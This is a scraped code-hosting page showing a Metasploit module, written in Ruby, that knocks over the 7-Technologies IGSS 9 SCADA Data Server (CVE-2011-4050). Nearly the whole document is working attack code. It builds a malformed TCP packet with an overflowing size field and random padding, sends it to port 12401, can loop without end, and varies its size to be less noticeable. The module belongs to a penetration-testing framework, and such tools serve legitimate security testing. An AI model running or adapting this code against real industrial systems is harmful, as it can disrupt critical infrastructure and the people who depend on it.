Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/scada/igss9_dataserver.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',12'Description' => %q{13The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be14brought down by sending a crafted TCP packet to port 12401. This should also work15for version <= 9.0.0.1120, but that version hasn't been tested.16},17'Author' =>18[19'jfa', # Metasploit module20],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2011-4050' ],25[ 'OSVDB', '77976' ],26[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-335-01' ]27],28'DisclosureDate' => '2011-12-20'29))3031register_options(32[33Opt::RPORT(12401),34OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]),35OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])36])37end3839def run40#41#dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"42#dos << Rex::Text.rand_text_alpha(5014)43#44# I should have looked at the other MSF modules before I started doing it the hard way.45# Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename46#4748count = datastore['COUNT']49snore = datastore['SLEEP']50times = 15152# Someone wants to keep a good service down.53if count == 054count = 155infinite = true56end5758#59# The port seems to stay open open until someone clicks "Close the program".60# Once they click "Close the program" (Windows 7), the port becomes unavailable.61#62# However, even though it's open, it doesn't seem to handle any valid requests.63#64while count >= 1 do65## Randomize the buffer size to make it a teeny tiny bit less obvious66size = Random.new.rand(1024..5014)6768dos = "\x00\x04" #Funky size causes overflow69dos << "\x01\x00\x34\x12"70dos << "\x0D" #Opcode71dos << "\x00\x00\x00\x00\x00\x00\x00"72dos << "\x01" #Flag73dos << "\x00\x00\x00\x01\x00\x00\x00"74dos << Rex::Text.rand_text_alpha(size)7576begin77connect78sock.put(dos)79print_status("Sending DoS packet #{times}, size: #{dos.length} ...")80disconnect81rescue ::Rex::ConnectionError, Errno::ECONNREFUSED82print_status("Connection refused. Someone may have clicked 'Close the program'")83end8485if infinite86select(nil, nil, nil, snore)87times += 188else89select(nil, nil, nil, snore) if count > 190count -= 191times += 192end9394end95end96end979899